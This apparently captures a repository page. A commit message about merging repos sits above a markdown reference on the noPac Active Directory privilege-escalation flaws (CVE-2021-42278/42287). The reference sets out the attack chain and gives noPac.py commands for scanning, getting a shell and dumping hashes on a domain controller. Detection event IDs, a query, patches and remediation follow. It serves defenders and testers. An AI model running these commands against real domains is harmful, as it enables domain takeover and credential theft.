Claude 24f816b6a3
Consolidate 22 sibling repos into layered organism structure
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):

- brain/        LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
                dispatch, A51 channels, and the OSINT cluster
- knowledge/    LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
                MITRE ATT&CK data
- reference/    defensive threat-reference (C3, shhbruh doc) + AdaYaml parser

License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.

Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.

https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
2026-06-10 06:53:01 +00:00

1.9 KiB

API Reference: noPac (CVE-2021-42278/42287)

Vulnerability Overview

CVE-2021-42278 — sAMAccountName Spoofing

Allows renaming a machine account's sAMAccountName to match a DC name (without trailing $).

CVE-2021-42287 — KDC Confusion

KDC fails to verify PAC when sAMAccountName doesn't match, granting DC-level TGT.

Attack Chain

  1. Create machine account (MachineAccountQuota > 0)
  2. Rename machine sAMAccountName to DC name (e.g., DC01)
  3. Request TGT for spoofed name
  4. Rename back to original
  5. Request S4U2Self — KDC returns ticket as DC$

noPac.py (Impacket)

Scan for Vulnerability

noPac.py domain.local/user:password -dc-ip 10.10.10.1 --scan

Exploit (Get Shell)

noPac.py domain.local/user:password -dc-ip 10.10.10.1 \
    -use-ldap -shell

Dump Hashes

noPac.py domain.local/user:password -dc-ip 10.10.10.1 \
    -use-ldap -dump

Prerequisites

MachineAccountQuota

# Check quota
([ADSI]"LDAP://DC=domain,DC=local")."ms-DS-MachineAccountQuota"
# Default: 10 (any domain user can create 10 machine accounts)

LDAP Query

(&(objectClass=domain)(ms-DS-MachineAccountQuota>=1))

Detection

Event IDs

Event Log Description
4741 Security Computer account created
4742 Security Computer account changed
4743 Security Computer account deleted
4781 Security Account renamed
4768 Security TGT requested

Detection Query

SecurityEvent
| where EventID == 4781
| where TargetUserName !endswith "$"
| where TargetUserName in ("DC01", "DC02")

Patch Information

Microsoft KB

KB Description
KB5008380 November 2021 patch
KB5008602 OOB patch
KB5008207 Cumulative update

Remediation

  1. Apply KB5008380 patch
  2. Set MachineAccountQuota to 0
  3. Monitor Event 4741 and 4781 for anomalies
  4. Enable PAC validation on all DCs